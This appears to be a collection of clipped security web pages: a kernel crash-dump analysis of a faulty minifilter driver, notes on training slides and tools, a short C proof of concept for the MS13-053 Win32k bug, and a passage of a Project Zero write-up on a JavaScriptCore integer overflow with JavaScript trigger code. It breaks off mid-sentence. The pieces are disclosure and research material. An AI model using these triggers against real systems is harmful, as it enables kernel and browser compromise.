NameCacheCtrl : \(ffffe00002501618\)

InstanceList : \(ffffe000025010a0\) <<<< all filter instances attached to
particular volume.

FLT\_INSTANCE: ffffe0000165b010 "FLTDRV1" "388920"

FLT\_INSTANCE: ffffe0000165daa0 "Fltdrv2 Instance" "366992"

FLT\_INSTANCE: ffffe00001661600 "V-locity cache Instance" "366789"

FLT\_INSTANCE: ffffe0000343c010 "DKRtWrt Instance" "137100"

3: kd> \!devstack ffffe00002501df0

\!DevObj \!DrvObj \!DevExt ObjectName

> ffffe00002501df0 \FileSystem\FltMgr ffffe00002501f40
ffffe00000244030 \FileSystem\Ntfs ffffe00000244180 <<<< this volume is a NTFS
volume.

**Let’s recap a bit before proceeding, we know the original query is all about
a file open against \AV-
REDIRECT-F3392236-BA8C-4AD9-8AEA-48F099A8EE9C\ffffe0003c8dae20.ini on
HarddiskVolume4 which happens to be NTFS volume.**

****

It appears to be a normal query from I/O manager and nothing stands out yet.
Let’s carry on the investigation.

On the call stack, 3rd party functions are black box, but the third party
driver calls filter manager API FLTMGR\!FltQueryInformationFile to retrieve
some file information. So we pick up the analysis from that call.

3: kd> knL

\*\*\* Stack trace for last set context - .thread/.cxr resets it

\# Child-SP RetAddr Call Site

00 ffffd000\`23f18090 fffff800\`00d00813 Ntfs\!NtfsCommonQueryInformation+0xa7

01 ffffd000\`23f18170 fffff800\`00d01156 Ntfs\!NtfsFsdDispatchSwitch+0xd3

02 ffffd000\`23f181f0 fffff800\`00402f3e Ntfs\!NtfsFsdDispatchWait+0x47

03 ffffd000\`23f18440 fffff800\`00406986
FLTMGR\!FltpLegacyProcessingAfterPreCallbacksCompleted+0x25e

04 ffffd000\`23f184c0 fffff800\`0042ef2a FLTMGR\!FltPerformSynchronousIo+0x2b6

05 ffffd000\`23f18570 fffff800\`01041843 FLTMGR\!FltQueryInformationFile+0x52

06 ffffd000\`23f185b0 fffff800\`010417bb av+0x3843

07 ffffd000\`23f18600 fffff800\`00f1c06d av+0x37bb

08 ffffd000\`23f18630 fffff800\`00401eea fltdrv1+0xc06d

09 ffffd000\`23f18720 fffff800\`00405c13 FLTMGR\!FltpPerformPreCallbacks+0x31a

Here is how function FltQueryInformationFile is defined.

NTSTATUS FltQueryInformationFile\(

\_In\_ PFLT\_INSTANCE Instance,

\_In\_ PFILE\_OBJECT FileObject,

\_Out\_ PVOID FileInformation,

\_In\_ ULONG Length,

\_In\_ FILE\_INFORMATION\_CLASS FileInformationClass,

\_Out\_opt\_ PULONG LengthReturned

\);

First parameter represents an attachment to specific volume and second
parameter FileObject is the target file to be queried. We need to figure out
what instance and file object 3rd party driver were passed into
FltQueryInformationFile. As there is no public symbol information for
FltQueryInformationFile, we can decode the assembly code directly.

3: kd> u FltQueryInformationFile

FLTMGR\!FltQueryInformationFile:

fffff800\`0042eed8 48895c2408 mov qword ptr \[rsp+8\],rbx

fffff800\`0042eedd 4889742410 mov qword ptr \[rsp+10h\],rsi

fffff800\`0042eee2 57 push rdi

fffff800\`0042eee3 4883ec30 sub rsp,30h

fffff800\`0042eee7 498bf0 mov rsi,r8

fffff800\`0042eeea 4c8d442420 lea r8,\[rsp+20h\]

fffff800\`0042eeef 418bf9 mov edi,r9d

fffff800\`0042eef2 e8b970fdff call FLTMGR\!FltAllocateCallbackData
\(fffff800\`00405fb0\)

Because FltQueryInformationFile does not populate the rcx and rdx registers
\(used for the first to parameters\), we can assume that it passes its first
two parameters through to FltAllocateCallbackData. Let’s see what
FltAllocateCallbackData does and what we may obtain from this hint.

NTSTATUS FltAllocateCallbackData\(

\_In\_ PFLT\_INSTANCE Instance,

\_In\_opt\_ PFILE\_OBJECT FileObject,

\_Out\_ PFLT\_CALLBACK\_DATA \*RetNewCallbackData

\);

It takes Instance and FileObject as the first two parameters and an instance
of PFLT\_CALLBACK\_DATA as the third parameter. Keep in mind the
FLT\_CALLBACK\_DATA structure represents an I/O operation. The Filter Manager
and minifilters use this structure to initiate and process I/O operations, so
it should contain the information pertaining to the query a 3rd party driver
issues.

Looking back the assembly code before calling FltAllocateCallbackData, 3rd
output parameter RetNewCallbackData is obtained by this instruction:

fffff800\`0042eeea 4c8d442420 lea r8,\[rsp+20h\]

So let’s dump out the PFLT\_CALLBACK\_DATA from the stack pointer.

3: kd> .frame /r 5

05 ffffd000\`23f18570 fffff800\`01041843 FLTMGR\!FltQueryInformationFile+0x52

rax=ffffe0003c8dae20 rbx=ffffe0003c8d20e8 rcx=0000000000000018

rdx=ffffe0003c84bc60 rsi=0000000009bcd870 rdi=0000000000000018

rip=fffff8000042ef2a rsp=ffffd00023f18570 rbp=ffffd00023f18690

r8=0000000100000000 r9=0000000000000001 r10=0000000000000004

r11=ffffd00023f18168 r12=0000000000000000 r13=0000000000000000

r14=0000000003000000 r15=0000000000000000

iopl=0 nv up ei ng nz na pe nc

cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00010282

FLTMGR\!FltQueryInformationFile+0x52:

fffff800\`0042ef2a 488b4c2468 mov rcx,qword ptr \[rsp+68h\]
ss:0018:ffffd000\`23f185d8=ffffd00023f18618

3: kd> dt poi\(ffffd00023f18570+20\) \_FLT\_CALLBACK\_DATA

FLTMGR\!\_FLT\_CALLBACK\_DATA

+0x000 Flags : 0x10009

+0x008 Thread : 0xffffe000\`0375c880 \_KTHREAD

+0x010 Iopb : 0xffffe000\`3c8d2140 \_FLT\_IO\_PARAMETER\_BLOCK

3: kd> dt 0xffffe000\`3c8d2140 \_FLT\_IO\_PARAMETER\_BLOCK

FLTMGR\!\_FLT\_IO\_PARAMETER\_BLOCK

+0x000 IrpFlags : 0

+0x004 MajorFunction : 0x5 ''

+0x005 MinorFunction : 0 ''

+0x006 OperationFlags : 0 ''

+0x007 Reserved : 0 ''

+0x008 TargetFileObject : 0xffffe000\`3c8dae20 \_FILE\_OBJECT

+0x010 TargetInstance : 0xffffe000\`0165daa0 \_FLT\_INSTANCE

Now we’ve got the target instance and file object the 3rd party driver hopes
is querying. Let’s look at the target file object first.

3: kd> \!fileobj 0xffffe000\`3c8dae20

\$RECYCLE.BIN\S-1-5-21-589703330-573742762-725482543-110873\desktop.ini

Device Object: 0xffffe000010f1ca0 \Driver\volmgr

Vpb: 0xffffe000010cc9a0

Access: Read SharedRead SharedWrite SharedDelete

Flags: 0x62

Synchronous IO

Sequential Only

Cache Supported

FsContext: 0xffffc00003dba120 FsContext2: 0xffffc00003dba2c0

CurrentByteOffset: 0

Cache Data:

Section Object Pointers: ffffe0003c887380

Shared Cache Map: 00000000

3: kd> \!devstack 0xffffe000010f1ca0

\!DevObj \!DrvObj \!DevExt ObjectName

ffffe00001142040 \Driver\volsnap ffffe00001142190

> ffffe000010f1ca0 \Driver\volmgr ffffe000010f1df0 HarddiskVolume5 <<<< volume
> changes.
\!DevNode ffffe00001148770 :

DeviceInst is
"STORAGE\Volume\\\{19df16e3-2f74-11e4-80bb-0050568127c8\}\#0000000000100000"

ServiceName is "volsnap"

The biggest difference between the original query and current query is not
only the file name but also the target volume, now it is against the file
\$RECYCLE.BIN\S-1-5-21-589703330-573742762-725482543-110873\desktop.ini on
HarddiskVolume5.

Another note, is about the FsContext 0xffffc00003dba120 in the file object,
that is the address I ran \!pool with and it is from ReFS. It seems we’ve
nailed down where the ReFS things come from.

Let’s continue to dump all of the volumes managed by Filter Manager.
Apparently hardiskvolume5 is an ReFS volume instead of NTFS.

3: kd> \!fltkd.volumes

Volume List: ffffe00000ab5140 "Frame 0"

FLT\_VOLUME: ffffe000010e5010 "\Device\Mup"

FLT\_INSTANCE: ffffe000011e6640 "FLTDRV1" "388920"

..

FLT\_VOLUME: ffffe00002501010 "\Device\HarddiskVolume4"

FLT\_INSTANCE: ffffe0000165b010 "FLTDRV1" "388920"

FLT\_INSTANCE: ffffe0000165daa0 "Fltdrv2 Instance" "366992"

FLT\_INSTANCE: ffffe00001661600 "V-locity cache Instance" "366789"

FLT\_INSTANCE: ffffe0000343c010 "DKRtWrt Instance" "137100"

…

FLT\_VOLUME: ffffe0000169e010 "\Device\HarddiskVolume5"

FLT\_INSTANCE: ffffe00001694190 "FLTDRV1" "388920"

…

3: kd> \!fltkd.volume ffffe0000169e010

FLT\_VOLUME: ffffe0000169e010 "\Device\HarddiskVolume5"

FLT\_OBJECT: ffffe0000169e010 \[04000000\] Volume

RundownRef : 0x0000000000000004 \(2\)

PointerCount : 0x00000001

PrimaryLink : \[ffffe00001693020-ffffe000016aa020\]

Frame : ffffe00000ab5010 "Frame 0"

Flags : \[00000064\] SetupNotifyCalled EnableNameCaching FilterAttached

FileSystemType : \[0000001c\]

VolumeLink : \[ffffe00001693020-ffffe000016aa020\]

DeviceObject : ffffe000016a1df0

DiskDeviceObject : ffffe000010f1ca0

FrameZeroVolume : ffffe0000169e010

VolumeInNextFrame : 0000000000000000

Guid : "\??\Volume\{19df173a-2f74-11e4-80bb-0050568127c8\}"

CDODeviceName : "\Refs"

CDODriverName : "\FileSystem\ReFS"

TargetedOpenCount : 0

Callbacks : \(ffffe0000169e120\)

ContextLock : \(ffffe0000169e508\)

VolumeContexts : \(ffffe0000169e510\) Count=0

StreamListCtrls : \(ffffe0000169e518\) rCount=2

FileListCtrls : \(ffffe0000169e598\) rCount=0

NameCacheCtrl : \(ffffe0000169e618\)

InstanceList : \(ffffe0000169e0a0\)

FLT\_INSTANCE: ffffe00001694190 "FLTDRV1" "388920"

3: kd> \!devstack ffffe000016a1df0

\!DevObj \!DrvObj \!DevExt ObjectName

> ffffe000016a1df0 \FileSystem\FltMgr ffffe000016a1f40
ffffe00002259030 \FileSystem\ReFS ffffe00002259180

So the target file object that 3rd party driver would like to query is on a
ReFS volume. Let’s dump out the target instance now.

3: kd> \!fltkd.instance 0xffffe000\`0165daa0

FLT\_INSTANCE: ffffe0000165daa0 "Fltdrv2 Instance" "366992" <<<< instance
changes.

FLT\_OBJECT: ffffe0000165daa0 \[01000000\] Instance

RundownRef : 0x0000000000000000 \(0\)

PointerCount : 0x00000002

PrimaryLink : \[ffffe00001661610-ffffe0000165b020\]

OperationRundownRef : ffffe0000165f140

Could not read field "Number" of fltmgr\!\_EX\_RUNDOWN\_REF\_CACHE\_AWARE from
address: ffffe0000165f140

Flags : \[00000000\]

Volume : ffffe00002501010 "\Device\HarddiskVolume4" <<<< volume remains the
same

Filter : ffffe00000a9ac50 "DKTLFSMF" <<<< another filter.

TrackCompletionNodes : ffffe0000165ceb0

ContextLock : \(ffffe0000165db10\)

Context : ffffe00000d096d0

CallbackNodes : \(ffffe0000165db30\)

VolumeLink : \[ffffe00001661610-ffffe0000165b020\]

FilterLink : \[ffffe00000a9ad10-ffffe00002553cc0\]

We can notice that instance changes from original FLT\_INSTANCE:
ffffe0000165b010 "FLTDRV1" "388920" to FLT\_INSTANCE: 0xffffe000\`0165daa0
"Fltdrv2 Instance" "366992". However, the instance is attached to
HarddiskVolume4 which is bound to NTFS. After initializing the parameters of
the callback data structure returned by FltAllocateCallbackData,
FltQueryInformationFile initiates the I/O operation by passing the structure
to FltPerformSynchronousIo or FltPerformAsynchronousIo. These routines send
the I/O operation only to the minifilter driver instances attached below the
initiating instance \(specified in the Instance parameter\) and to the file
system i.e. NTFS.

****

So the whole story is, the original query is all about a file open against
\AV-REDIRECT-F3392236-BA8C-4AD9-8AEA-48F099A8EE9C\ffffe0003c8dae20.ini on
HarddiskVolume4 which happens to be NTFS volume. The query is passed to 3rd
party preoperation call back routine. The 3rd party driver continues the query
by calling FltQueryInformationFile for a different file open that is on a ReFS
volume but the filter instance attached to original NTFS volume.

It is not hard to image the potential corruption if NTFS is instructed to
operate on something pertaining to ReFS system. Bugcheck is one of the
payoffs.

Actually the 3rd party drivers’ behavior breaks the minifilter callback rule.
Here is except from MSDN:

A minifilter driver can modify the parameters for an I/O operation. For
example, a minifilter driver's preoperation callback routine can redirect an
I/O operation to a different volume by changing the target instance for the
operation. The new target instance must be an instance of the same minifilter
driver at the same altitude on another volume.

**Conclusion:**

The fltdrv1.sys driver is violating the minifilter callback rule by
redirecting I/O to an instance of a different minifilter driver.

In this post, we go through the dump analysis to look for the useful
information about filter manager and minifilter, and solve a case with public
debugging extension fltkd.dll and public filter manger symbol. Hope you
enjoyed it\!

# struct/mms

**Created:**| _1/26/2020 3:14:32 PM_  
---|---  
**Updated:**| _1/26/2020 3:14:32 PM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

# Modern Memory Safety: C/C++ Vulnerability Discovery, Exploitation, Hardening

## History

This repo contains the slides for a training course originally developed in
2012. It has been delivered to many students since its creation. It's sold out
at the Black Hat USA conference several years in a row. The content has gone
through many iterations based on feedback from those classes. The original
training focused mainly on browser vulnerability discovery and exploitation.
This latest version still focuses on that but also covers more topics such as
custom memory allocators, hardening concepts, and exploitation at a high
level.

## Future

This training would not have been possible without open source projects to
study, or freely available texts from the security community. In fact, the
security community is one of the best proponents of open source. I want to
help continue that trend.

We all know a technical training course isn't about the slides. It's about
hands on interaction with tech, discussion with fellow students and the
instructor. The instructors experience with the topic is also very important.
So these slides are only a piece of the experience of taking the course. So
one of the best contributions you can make to this repo is notes and talking
points for each slide. I have created a directory in this repo specifically
for that. Pull requests for notes will be reviewed and accepted as often as
possible.

## Errata

Despite years of tweaking and updates, there will be mistakes in these slides.
They were recently exported from Keynote and it took awhile to get the
formatting back. There will also be technical mistakes that may need to be
fixed. If you find any of these issues please report them to me on github or
email me if you don't want to be identified.

## Thanks

Many of the students who have taken the course over the years are far smarter
than I am. Their feedback was essential to this training.

Thanks to Yahoo for facilitating this open source release\!

## Licenses

This training contains snippets of code from various open source projects.
They are listed here along with their license.

  * This training - Copyright Yahoo 2016 https://creativecommons.org/licenses/by-nc-sa/4.0/
  * Apple iOS goto Fail - Apple Public Source License http://opensource.apple.com/license/apsl/
  * OpenSSL - https://www.openssl.org/source/license.txt
  * Nginx - 2 clause BSD http://nginx.org/LICENSE
  * Mozilla Firefox - MPL https://www.mozilla.org/en-US/MPL/
  * WebKit - GPLv2 https://webkit.org/licensing-webkit/
  * Chrome - 3 clause BSD https://www.chromium.org/
  * v8 - 3 clause BSD https://developers.google.com/v8/

  

# REMO - Rule Editor for ModSecurity | netnea
**Created:**| _10/27/2010 4:24:39 PM_  
---|---  
**Updated:**| _10/27/2010 4:24:56 PM_  
**Author:**| __  
**Tags:**| _web-app-sec security tools web pentest Lab-Setup_  
  

## REMO - Rule Editor for ModSecurity

Main | Download | Documentation
##### Welcome to REMO

This is a project to build a graphical rule editor for ModSecurity with a
positive/whitelist approach.

There is a beta release 0.2.0, but it's better work with the development
sourcetree.

##### Basic Concept

ModSecurity is not a simple toy. It is quite tricky to configure successfully.
Many web applications are not very simple either. Bringing them together by
writing a tight ModSecurity ruleset is very difficult. Modsecurity.org
advertises a tested core ruleset granting you protection from most known
attacks. But this is only a blacklist approach: All known dangerous traffic is
filtered out.

A network firewall uses a whitelist approach; also called positive security
model: Everything is dropped outside of a short and strict rulset. An
application firewall should do exactly the same. \(See Ivan Ristic's thougts
on positive security. Ivan Ristic is the man behind ModSecurity.\)

But this comes with a catch: Your application does not come with a short and
strict ruleset and writing one will be tough. This is the point where remo
comes into play. It is meant as a graphical editor for this ruleset, thus
helping you to generate a whitelist of valid requests to your application.
Ideally you will be able to bundle this ruleset with every release of your
online application.

##### Features

This is the short list of features done so far: \* Ruby on rails application
with ajax use  
\* Enter http requests, display them, edit them, delete them, rearrange them  
\* Edit the http headers of the requests  
\* Edit the query string parameters  
\* Edit the cookie parameters  
\* Edit the post payload arguments  
\* Every argument can be optional or mandatory  
\* The response to every argument failure can be configured specially
including http status code and optional redirect location  
\* Argument names can contain regular expressions themselves  
\* Default value domains for all arguments. So you do not have to edit a
regular expression for every parameter. Just select a predefined value.  
\* Generate positive ModSecurity2 ruleset  
\* Import ModSecurity audit-logs  
\* Check requests in the audit-log against the ruleset in development to find out wether it will work in practice | <img src='img/Temp2_6689.png' />  
---|---  
##### Future plans

Remo is currently on hold. That is it works, but I lack the time to continue
development. The following is a list of features I have in mind:

\* Authentication and session support in Remo  
\* Cover performance issues  
\* Proxy-mode for on the fly rule development  
\* New CSS with better looks  
\* Bring a decent look to Remo in Internet Explorer  
\* Better default value domains  
\* Polish the application

See the download section for the sourcecode and regression tests of the
codebase. There is an online demo of the latest code, there are screenshots
and even a video.

Your feedback and your feature requests are very welcome\! Really.

You can contact me, the developer, via christian.folini at netnea.com.

# coccigrep » To Linux and beyond \!

**Created:**| _9/13/2011 10:16:25 PM_  
---|---  
**Updated:**| _9/14/2011 9:08:13 AM_  
**Author:**| __  
**Tags:**| _Lab-Setup_  
  

  1. wishi says:
2011/09/12 at 09:33

Looks interesting, but it’s rather odd that it still uses PYTHONPATH:

Checking .pth file support in /tmp/yaourt-tmp-wishi/aur-
coccigrep/pkg/usr/lib/python2.7/site-packages/  
/usr/bin/python2 -E -c pass  
TEST FAILED: /tmp/yaourt-tmp-wishi/aur-coccigrep/pkg/usr/lib/python2.7/site-
packages/ does NOT support .pth files  
error: bad install directory or PYTHONPATH

You are attempting to install a package to a directory that is not  
on PYTHONPATH and which Python does not read “.pth” files from. The  
installation directory you specified \(via –install-dir, –prefix, or  
the distutils default setting\) was:

/tmp/yaourt-tmp-wishi/aur-coccigrep/pkg/usr/lib/python2.7/site-packages/

and your PYTHONPATH environment variable currently contains:

‘/tmp/yaourt-tmp-wishi/aur-coccigrep/’

Here are some of your options for correcting the problem:

\* You can choose a different installation directory, i.e., one that is  
on PYTHONPATH or supports .pth files

\* You can add the installation directory to the PYTHONPATH environment  
variable. \(It must then also be on PYTHONPATH whenever you run  
Python and want to use the package\(s\) you are installing.\)

\* You can set up the installation directory to support “.pth” files by  
using one of the approaches described here:

http://packages.python.org/distribute/easy\_install.html\#custom-installation-
locations

Please make the appropriate changes for your system and try again.

  2. Regit says:
2011/09/12 at 13:47

Hello,

For some this is an issue with setuptools \(easy\_install\):
http://code.google.com/p/pydbgr/issues/detail?id=7

A workaround is to switch to distutils insteas of setuptools. You can do so by
changing setup.py:  
-from setuptools import setup  
+from distutils.core import setup

I will continue to investigate to see if there is a cleaner alternative.

# hash-identifier - Hash Identifier - Google Project Hosting

**Created:**| _10/31/2011 10:20:03 AM_  
---|---  
**Updated:**| _10/31/2011 10:20:03 AM_  
**Author:**| __  
**Tags:**| _hashes crypto_  
  
Software to identify the different types of hashes used to encrypt data and
especially passwords. <img src='img/Temp2_10299.png' /> Encryption formats
supported:

  * ADLER-32 
  * CRC-32 
  * CRC-32B 
  * CRC-16 
  * CRC-16-CCITT 
  * DES\(Unix\) 
  * FCS-16 
  * GHash-32-3 
  * GHash-32-5 
  * GOST R 34.11-94 
  * Haval-160 
  * Haval-192 110080 ,Haval-224 114080 ,Haval-256 
  * Lineage II C4 
  * Domain Cached Credentials 
  * XOR-32 
  * MD5\(Half\) 
  * MD5\(Middle\) 
  * MySQL 
  * MD5\(phpBB3\) 
  * MD5\(Unix\) 
  * MD5\(Wordpress\) 
  * MD5\(APR\) 
  * Haval-128 
  * MD2 
  * MD4 
  * MD5 
  * MD5\(HMAC\(Wordpress\)\) 
  * NTLM 
  * RAdmin v2.x 
  * RipeMD-128 
  * SNEFRU-128 
  * Tiger-128 
  * MySQL5 - SHA-1\(SHA-1\($pass\)\) 
  * MySQL 160bit - SHA-1\(SHA-1\($pass\)\) 
  * RipeMD-160 
  * SHA-1 
  * SHA-1\(MaNGOS\) 
  * Tiger-160 
  * Tiger-192 
  * md5\($pass.$salt\) - Joomla 
  * SHA-1\(Django\) 
  * SHA-224 
  * RipeMD-256 
  * SNEFRU-256 
  * md5\($pass.$salt\) - Joomla 
  * SAM - \(LM\_hash:NT\_hash\) 
  * SHA-256\(Django\) 
  * RipeMD-320 
  * SHA-384 
  * SHA-256 
  * SHA-384\(Django\) 
  * SHA-512 
  * Whirlpool 
  * And more… 

Encryption algorithms that can not be differentiated unless they have been
decrypted, so the efficiency of the software also depends on the user's
criteria.  
---

# MS13-053 Win32k Memory Allocation Vulnerability - CXSecurity.com

**Created:**| _9/13/2013 9:19:53 AM_  
---|---  
**Updated:**| _9/13/2013 9:19:53 AM_  
**Author:**| __  
**Tags:**| _vulnerability windows environment Memory corruptions memory-
manager_  
  

# **M** S13-053 Win32k Memory Allocation Vulnerability****

**MS13-053 Win32k Memory Allocation Vulnerability**  
<img src='img/Temp2_5051.png' width='730' height='2px' />**Published**|
**Credit**| **Risk**  
---|---|---  
**2013**.** 09**.** 13**| **0xBigBan**| ****High****  
**CWE**| **CVE**| **Local**| **Remote**  
---|---|---|---  
** _N/A_ **| **_N/A_**| ****Yes****| ****No****  
**Plain text version** |   
---|---  
<img src='img/Temp2_5051.png' width='730px' height='2px' />

<img src='img/Temp2_5051.png' width='100%' height='2px' />

/\*  
more detials:  
https://labs.mwrinfosecurity.com/blog/2013/09/06/mwr-labs-pwn2own-2013-write-
up-kernel-exploit/  
this poc is written by 0xBigBan  
\*/  
\#include <windows**.** h>  
  
\#define \_\_NtUserMessageCall 0x11ea //on win7 sp1 x86  
  
void SystemCall\(DWORD ApiNumber, ..**.**\) \{  
\_\_asm\{  
lea edx, \[ebp+0x0c\]  
mov eax, ApiNumber  
int 0x2e  
leave  
ret  
\}  
\}  
  
int main\(\) \{  
//you should have open a txt file with notepad  
HWND handle = FindWindow\(NULL,"a.txt - notepad"\);  
void\* ptr = malloc\(sizeof\(int\)\*2\);  
  
SystemCall\(\_\_NtUserMessageCall,  
handle,  
WM\_GETTEXT,  
0x8, //buffer size  
ptr, //user mode buffer  
0x0,  
0x2b3,  
0x2\); //ASCII boolean/flag  
\}

<img src='img/Temp2_5051.png' width='100%' height='2px' />

**References:**

https://labs.mwrinfosecurity.com/blog/2013/09/06/mwr-labs-pwn2own-2013-write-
up-kernel-exploit/

<img src='img/Temp2_5051.png' width='100%' height='2px' />  
  
**ASCII VERSION**  
  
<img src='img/Temp2_5051.png' width='100%' height='2px' />  
  
****

# Project Zero: pwn4fun Spring 2014 - Safari - Part I

**Created:**| _7/27/2014 11:40:02 AM_  
---|---  
**Updated:**| _7/27/2014 11:40:02 AM_  
**Author:**| __  
**Tags:**| _vulnerability browser_  
  

# pwn4fun Spring 2014 - Safari - Part I

Posted by Ian Beer

Back in March this year I entered the pwn4fun hacking contest at CanSecWest \[
http://www.pwn2own.com/2014/03/pwning-lulzand-charity/ \] targeting Safari
running on a brand new MacBook Air. In this first post I’ll detail how I got
code execution within the Safari renderer sandbox using a bug in its
javascript engine JavaScriptCore. In the second part I’ll explain how I broke
out of the sandbox and into the kernel to be able to fully compromise the
target system.

Bug Hunting

Looking at old bugs is a great way to quickly find new ones. Sometimes the
root cause of a bug can be subtler than it appears and the patch only fixes a
symptom rather than the bug. Sometimes there can be other variants of a bug
which the patch missed. And sometimes the patch just introduces new bugs,
especially if the code is complicated.

In this case I chose to target a bug which was incorrectly fixed by \[
https://trac.webkit.org/changeset/145594 \] which was fixing \[
https://bugs.webkit.org/show\_bug.cgi?id=112093 \]. WebKit security bugs are
rarely opened up to the public so we can’t see the original bug report, only
the fix:

Index:
trunk/Source/JavaScriptCore/runtime/JSStringJoiner.h===================================================================---
a/trunk/Source/JavaScriptCore/runtime/JSStringJoiner.h+++
b/trunk/Source/JavaScriptCore/runtime/JSStringJoiner.h@@ -47,5 +47,5 @@
Vector<String> m\_strings;- unsigned m\_cumulatedStringsLength;+
Checked<unsigned, RecordOverflow> m\_accumulatedStringsLength; bool
m\_isValid; bool m\_is8Bits;

Index:
trunk/Source/JavaScriptCore/runtime/JSStringJoiner.cpp===================================================================---
a/trunk/Source/JavaScriptCore/runtime/JSStringJoiner.cpp+++
b/trunk/Source/JavaScriptCore/runtime/JSStringJoiner.cpp@@ -103,10 +103,14 @@
return jsEmptyString\(exec\);- size\_t separatorLength =
m\_separator.length\(\);+ Checked<size\_t, RecordOverflow> separatorLength =
m\_separator.length\(\); // FIXME: add special cases of joinStrings\(\) for
\(separatorLength == 0\) and \(separatorLength == 1\).
ASSERT\(m\_strings.size\(\) > 0\);- size\_t totalSeparactorsLength =
separatorLength \* \(m\_strings.size\(\) - 1\);- size\_t outputStringSize =
totalSeparactorsLength + m\_cumulatedStringsLength;+ Checked<size\_t,
RecordOverflow> totalSeparactorsLength = separatorLength \*
\(m\_strings.size\(\) - 1\);+ Checked<size\_t, RecordOverflow>
outputStringSize = totalSeparactorsLength + m\_accumulatedStringsLength;+
size\_t finalSize;+ if \(outputStringSize.safeGet\(finalSize\) ==
CheckedState::DidOverflow\)+ return throwOutOfMemoryError\(exec\);

This patch is trying to fix multiple integer overflow bugs in the
JSStringJoiner class by replacing raw integer types with the Checked<>
template. This template abstracts away the fiddly details of checking for
integer overflow and makes it easier to write safe code. If the afeGet\(\)
method returns CheckedState::DidOverflow then the computed value
\(outputStringSize\) is discarded and a javascript out-of-memory exception
will be generated.  
Grepping the JavaScriptCore source code we can see that JSStringJoiner is used
in three places:
arrayProtoFuncToStringarrayProtoFuncToLocaleStringarrayProtoFuncJoin which are
all in the file ArrayPrototype.cpp. The function names are quite self-
explanatory, these three functions implement the toStringtoLocaleString
methods of the javascript Array object prototype.  
Taking a look at the MDN documentation for the Array object \[
https://developer.mozilla.org/en-
US/docs/Web/JavaScript/Reference/Global\_Objects/Array \] we can see that
these three functions are quite similar. They all return a string
representation of an array, just formatted slightly differently:

  * Array.prototype.toString calls the toString\(\) method for each element in the array and connects all those strings together with a comma
  * Array.prototype.toLocaleString is the same but calls toLocaleString\(\) for each element instead
  * Array.prototype.join calls toString\(\) for each element and also allows you to specify your own separator string rather than having to use “

Here’s the implementation of arrayProtoFuncJoin, edited to just show the
interactions with JSStringJoiner

EncodedJSValue JSC\_HOST\_CALL arrayProtoFuncJoin\(ExecState\* exec\)

\[...\]

If an argument to the javascript function was supplied, then convert it to a
string and assign that to separator. Otherwise create a string containing a
comma and assign that to separator

String separator;

if \(\!exec->argument\(0\).isUndefined\(\)\)

separator = exec->argument\(0\).toWTFString\(exec\);

if \(separator.isNull\(\)\)

separator = String\(",", String::ConstructFromLiteral\);

Create a JSStringJoiner on the stack, passing the separator string and array
length to the constructor:

JSStringJoiner stringJoiner\(separator, length\);

For each element of the array, convert the element to a string and pass that
string to the append method of the JSStringJoiner

\[...\]

unsigned k = 0;

for \(; k < length; k++\) \{

JSValue element = thisObj->get\(exec, k\);

if \(\!element.isUndefinedOrNull\(\)\)

stringJoiner.append\(element.toWTFStringInline\(exec\)\);

Finally call the method of the JSStringJoiner to get the resulting string and
return it:

return JSValue::encode\(stringJoiner.join\(exec\)\);

Looking at the implementation of JSStringJoiner::append it’s clear what one of
the patched bugs was:

inline void JSStringJoiner::append\(const String& str\)

\[...\]

m\_strings.append\(str\);

if \(\!str.isNull\(\)\) \{

m\_accumulatedStringsLength += str.length\(\);

m\_is8Bits = m\_is8Bits && str.is8Bit\(\);

Since m\_accumulatedStringsLength used to be an unsigned int, by creating an
array containing many references to a long string and calling the method we
could have easily overflowed the m\_accumulatedStringsLength variable:

var long\_string = “A”;

for \(var i = 0; i < 16; i++\)\{

long\_string = long\_string + long\_string;

//long string is now “A”\*0x10000

arr = \[\];

for\(var i = 0; i < 0x10001; i++\)\{

arr.push\(long\_string\)

arr.join\(\)

Here we create the string long\_string with a length of 0x10000 then append
that same string 0x10001 times to the array . Note that this doesn’t create
0x10001 copies of ong\_string; each element of the array is just a reference
to long\_string

When we call we’ll invoke the native code seen earlier \(arrayProtoFuncJoin\)
and end up calling JSStringJoiner::append0x10001 times, each time passing a
pointer to long\_string0x10000’th time append is called
m\_accumulatedStringsLength will have the value 0xffff0000, therefore the
following line:

m\_accumulatedStringsLength += str.length\(\);

will correspond to performing the following calculation:

m\_accumulatedStringsLength = 0xffff0000 + 0x10000

The result of that addition is 0x100000000 \(that number has 8 zeros\) or
which is outside the range of values representable by an unsigned int. This is
an integer overflow, and after executing this line m\_accumulatedStringsLength
will have the value \(the upper bits outside the range of a 32-bit value are
simply dropped.\)

When we append the final 0x10001’th string m\_accumulatedStringsLength will
become 0x10000 again. Presumably bad things will now happen. This bug was
patched by changing the type of m\_accumulatedStringsLengthChecked<unsigned,
RecordOverflow> so when that 0x10000h string is appended the overflow will be
detected and any subsequent safeGet will fail.

Safari on OS X is a 64-bit process and OS X uses the LP64 type model which
means that size\_t is a 64-bit type and unsigned int are 32-bit types. With
this in mind, lets look at that patched code again, specifically the new
overflow checks added in the JSStringJoiner::join method:

Checked<size\_t, RecordOverflow> separatorLength = m\_separator.length\(\);

Checked<size\_t, RecordOverflow> totalSeparactorsLength =

separatorLength \* \(m\_strings.size\(\) - 1\);

Checked<size\_t, RecordOverflow> outputStringSize =

totalSeparactorsLength + m\_accumulatedStringsLength;

size\_t finalSize;

if \(outputStringSize.safeGet\(finalSize\) == CheckedState::DidOverflow\)

return throwOutOfMemoryError\(exec\);

\(Note that the state stored by Checked<RecordOverflow> is transitive. If a
Checked<> value which has overflowed is used again to compute another
Checked<> value the overflowed state will be copied. Therefore if we reach
this code and m\_accumulatedStringsLengthoverflowed \(as in the earlier
example\) then outputStringSize will also be deemed to have overflowed, even
if the totalSeparactorsLength + m\_accumulatedStringsLength calculation
doesn’t itself overflow.\)

m\_separator is the separator string we passed to the javascript
Array.prototype.join method \(or if we didn’t pass one.\) This code is
computing the total length of the result string by multiplying the length of
the separator string by one less than the array length, then adding that to
m\_accumulatedStringsLength. These calculations are clearly prone to integer
overflow and the patch also added the use of the Checked<RecordOverflow>
template here.

One thing is different here though: m\_accumulatedStringsLength became
Checked<unsigned, RecordOverflow> but the three variables used here have all
become Checked<size\_t, RecordOverflow>. This means that if we reach this
code, and importantly if m\_accumulatedStringsLength hasn’t overflowed, then
these three Checked<> variables will only detect overflows which exceed the
